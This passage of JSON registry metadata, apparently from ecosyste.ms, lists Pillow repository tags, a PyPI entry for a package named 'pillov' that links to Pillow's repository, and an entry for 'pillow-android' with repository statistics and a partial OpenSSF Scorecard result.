endency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-20T01:04:34.721Z","dependent_packages_count":0,"downloads":null,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":68.46601804960903,"dependent_packages_count":7.306363177401113,"stargazers_count":0.1697965571205008,"forks_count":0.32961658841940533,"docker_downloads_count":null,"average":19.067948593137512},"purl":"pkg:pypi/pillov","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pillov","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pillov","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pillov/dependencies","status":null,"funding_links":["https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-19T20:04:07.682Z","issues_count":859,"pull_requests_count":2671,"avg_time_to_close_issue":12261496.382857142,"avg_time_to_close_pull_request":1548566.9461983105,"issues_closed_count":700,"pull_requests_closed_count":2249,"pull_request_authors_count":167,"issue_authors_count":690,"avg_comments_per_issue":7.09662398137369,"avg_comments_per_pull_request":1.1542493448146762,"merged_pull_requests_count":2032,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":73,"past_year_pull_requests_count":388,"past_year_avg_time_to_close_issue":1211846.0789473683,"past_year_avg_time_to_close_pull_request":837913.4618644068,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":236,"past_year_pull_request_authors_count":62,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.041095890410959,"past_year_avg_comments_per_pull_request":1.1649484536082475,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":207,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1750,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":235,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}],"active_maintainers":[{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillov/codemeta","maintainers":[{"uuid":"Grib","login":"Grib","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/Grib/","role":null,"created_at":"2023-10-10T12:06:53.484Z","updated_at":"2023-10-10T12:06:53.484Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/Grib/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":930235,"maintainers_count":399576,"namespaces_count":0,"keywords_count":311673,"github":"pypi","metadata":{"funded_packages_count":58495,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-23T05:05:26.773Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":14618459,"name":"pillow-android","ecosystem":"pypi","description":"Python Imaging Library (fork)","homepage":"https://python-pillow.github.io","licenses":"MIT-CMU","normalized_licenses":["MIT-CMU"],"repository_url":"https://github.com/python-pillow/Pillow","keywords_array":["Imaging"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-06-10T11:21:33.000Z","latest_release_published_at":"2026-06-10T11:21:33.000Z","latest_release_number":"12.2.0","last_synced_at":"2026-08-22T21:33:17.145Z","created_at":"2026-06-12T01:46:16.505Z","updated_at":"2026-08-22T21:33:17.145Z","registry_url":"https://pypi.org/project/pillow-android/","install_command":"pip install pillow-android --index-url https://pypi.org/simple","documentation_url":"https://pillow.readthedocs.io","metadata":{"funding":"https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","documentation":"https://pillow.readthedocs.io","classifiers":["Development Status :: 6 - Mature","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Multimedia :: Graphics","Topic :: Multimedia :: Graphics :: Capture :: Digital Camera","Topic :: Multimedia :: Graphics :: Capture :: Screen Capture","Topic :: Multimedia :: Graphics :: Graphics Conversion","Topic :: Multimedia :: Graphics :: Viewers","Typing :: Typed"],"normalized_name":"pillow-android","project_status":null},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-18T03:21:16.000Z","size":210899,"stargazers_count":13762,"open_issues_count":158,"forks_count":2487,"subscribers_count":218,"default_branch":"main","last_synced_at":"2026-08-19T20:07:15.086Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-19T11:30:41.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow 